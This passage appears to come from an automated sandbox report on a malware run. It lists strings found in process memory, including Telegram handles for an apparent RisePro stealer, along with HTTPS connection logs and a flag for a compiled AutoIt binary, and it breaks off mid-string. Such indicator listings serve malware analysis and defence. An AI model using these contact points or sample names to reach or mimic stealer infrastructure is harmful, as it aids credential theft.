Source: powershell.exe, 0000000D.00000002.2413543741.0000017E248B4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2449781101.0000017E32F5E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.2625392452.000001CA65298000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.2553378843.000001CA56AF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: svchost.exe, 00000012.00000003.2427444325.0000019ECF4C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: svchost.exe, 00000012.00000003.2427444325.0000019ECF456000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: MPGPH131.exe, 00000026.00000003.2727003523.0000000007CF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: MPGPH131.exe, 00000026.00000003.2727003523.0000000007CF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: 590971cd60.exe, 00000014.00000003.2582617431.0000000007F5E000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2754944956.0000000007CA6000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2735982624.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2734561741.0000000007CF9000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736489776.0000000007D02000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736140221.0000000007D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: MPGPH131.exe, 00000026.00000003.2735982624.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736489776.0000000007D02000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736140221.0000000007D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016/ee
Source: MPGPH131.exe, 00000026.00000003.2735982624.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736489776.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: 590971cd60.exe, 00000014.00000003.2582617431.0000000007F5E000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736983747.0000000007D00000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2754944956.0000000007CF2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2735982624.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2734561741.0000000007CF9000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736489776.0000000007D02000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2738854917.0000000007D00000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2738400789.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736140221.0000000007D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: MPGPH131.exe, 00000026.00000003.2735982624.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736489776.0000000007D02000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736140221.0000000007D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17/ewGpY
Source: MPGPH131.exe, 00000026.00000003.2735982624.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736489776.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: 590971cd60.exe, 00000014.00000002.2888771295.0000000001868000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000002.2888771295.000000000180E000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2749346705.000000000137D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/RiseProSUPPORT
Source: 590971cd60.exe, 00000014.00000002.2888771295.000000000180E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/RiseProSUPPORTr
Source: MPGPH131.exe, 00000026.00000002.2749346705.0000000001409000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot
Source: 590971cd60.exe, 00000014.00000002.2888771295.00000000018AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot.52
Source: MPGPH131.exe, 00000026.00000002.2749346705.0000000001409000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_botI
Source: 590971cd60.exe, 00000014.00000002.2888771295.00000000018AE000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2749346705.0000000001409000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_botisepro_bot
Source: 590971cd60.exe, 00000014.00000003.2583234242.0000000007F98000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2581877745.0000000007F70000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2589683699.0000000007FAB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2722054145.0000000007DA8000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2738126612.0000000007DB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 590971cd60.exe, 00000014.00000003.2583234242.0000000007F98000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2581877745.0000000007F70000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2589683699.0000000007FAB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2722054145.0000000007DA8000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2738126612.0000000007DB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: MPGPH131.exe, 00000026.00000003.2727003523.0000000007CF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: MPGPH131.exe, 00000026.00000003.2727003523.0000000007CF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 590971cd60.exe, 00000014.00000002.2888771295.00000000018AE000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2749346705.0000000001461000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: 590971cd60.exe, 00000014.00000003.2584100519.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2588756879.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2583846595.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2585534722.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2586892296.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000002.2894808239.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2582192926.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2582507104.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2597045577.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2591446745.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2598755903.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2585217441.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2580096642.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2599973969.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2591019092.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2599301102.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2594404316.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2595186539.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2586353379.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2590241789.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2581314601.0000000007F57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: MPGPH131.exe, 00000026.00000002.2749346705.0000000001461000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/f
Source: MPGPH131.exe, 00000026.00000003.2727003523.0000000007CF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 590971cd60.exe, 00000014.00000002.2888771295.00000000018AE000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2749346705.0000000001461000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: 590971cd60.exe, 00000014.00000003.2584100519.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2588756879.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2583846595.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2585534722.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2586892296.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000002.2894808239.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2582192926.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2582507104.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2597045577.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2591446745.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2598755903.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2585217441.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2580096642.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2599973969.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2591019092.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2599301102.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2594404316.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2595186539.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2586353379.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2590241789.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2581314601.0000000007F57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: 590971cd60.exe, 00000014.00000002.2888771295.00000000018AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/index
Source: 590971cd60.exe, 00000014.00000002.2888771295.00000000018AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/r
Source: bad48ea9ac.exe, 0000000F.00000003.2686052943.0000000003E1A000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000000F.00000003.2684405158.0000000003E1A000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000000F.00000003.2687568679.0000000003DA1000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000000F.00000003.2672235494.0000000003D8E000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000000F.00000003.2670877909.0000000003D81000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000000F.00000003.2683839052.0000000003E19000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000000F.00000002.2690904429.0000000003E31000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000000F.00000003.2672330452.0000000003D9A000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000000F.00000003.2687145473.0000000003E2E000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2582617431.0000000007F5E000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000001F.00000003.2775112265.0000000003B25000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000001F.00000002.2819404632.0000000003F66000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000001F.00000003.2775942820.0000000003B56000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000001F.00000003.2813883212.0000000003BDE000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000001F.00000003.2813719721.0000000003B5D000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000001F.00000003.2775888301.0000000003B4A000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000001F.00000003.2810834359.0000000003BD6000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000001F.00000003.2808553560.0000000003BD5000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000001F.00000002.2818935392.0000000003BDE000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000001F.00000003.2775664992.0000000003B36000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000001F.00000003.2811449608.0000000003BDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account
Source: MPGPH131.exe, 00000026.00000003.2738990555.0000000007D02000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736983747.0000000007D00000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2754944956.0000000007CF2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2735982624.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2737261196.0000000007D02000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736489776.0000000007D02000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2738854917.0000000007D00000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2738400789.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736140221.0000000007D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account/t
Source: MPGPH131.exe, 00000026.00000003.2735982624.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736489776.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountYouTube
Source: MPGPH131.exe, 00000026.00000003.2735982624.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736489776.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountYouTube/t
Source: bad48ea9ac.exe, 0000001F.00000003.2813883212.0000000003BDE000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000001F.00000003.2810834359.0000000003BD6000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000001F.00000003.2808553560.0000000003BD5000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000001F.00000002.2818935392.0000000003BDE000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000001F.00000003.2811449608.0000000003BDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountn
Source: bad48ea9ac.exe, 0000000F.00000003.2686052943.0000000003E1A000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000000F.00000003.2684405158.0000000003E1A000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000000F.00000002.2690945819.0000000003E47000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000000F.00000003.2686241340.0000000003E46000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000000F.00000003.2683839052.0000000003E19000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000000F.00000003.2687671932.0000000003E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountt

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822

Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.28.20:443 -> 192.168.2.4:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.28.20:443 -> 192.168.2.4:49868 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.28.20:443 -> 192.168.2.4:49916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49929 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49931 version: TLS 1.2

Source: bad48ea9ac.exe, 0000000F.00000002.2689362746.0000000001593000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: _WINAPI_REGISTERRAWINPUTDEVICES

memstr_ae6647e2-8

System Summary

Binary is likely a compiled AutoIt script file

Source: bad48ea9ac.exe, 0000000F.00000000.2408172800.00000000008C2000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_c740df1c-c
Source: bad48ea9ac.exe, 0000000F.00000000.2408172800.00000000008C2000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_ba9403ef-e
Source: bad48ea9ac.exe, 0000001F.00000002.2814535383.00000000008C2000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_15eca3eb-4
Source: bad48ea9ac.exe, 0000001F.00000002.2814535383.00000000008C2000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating 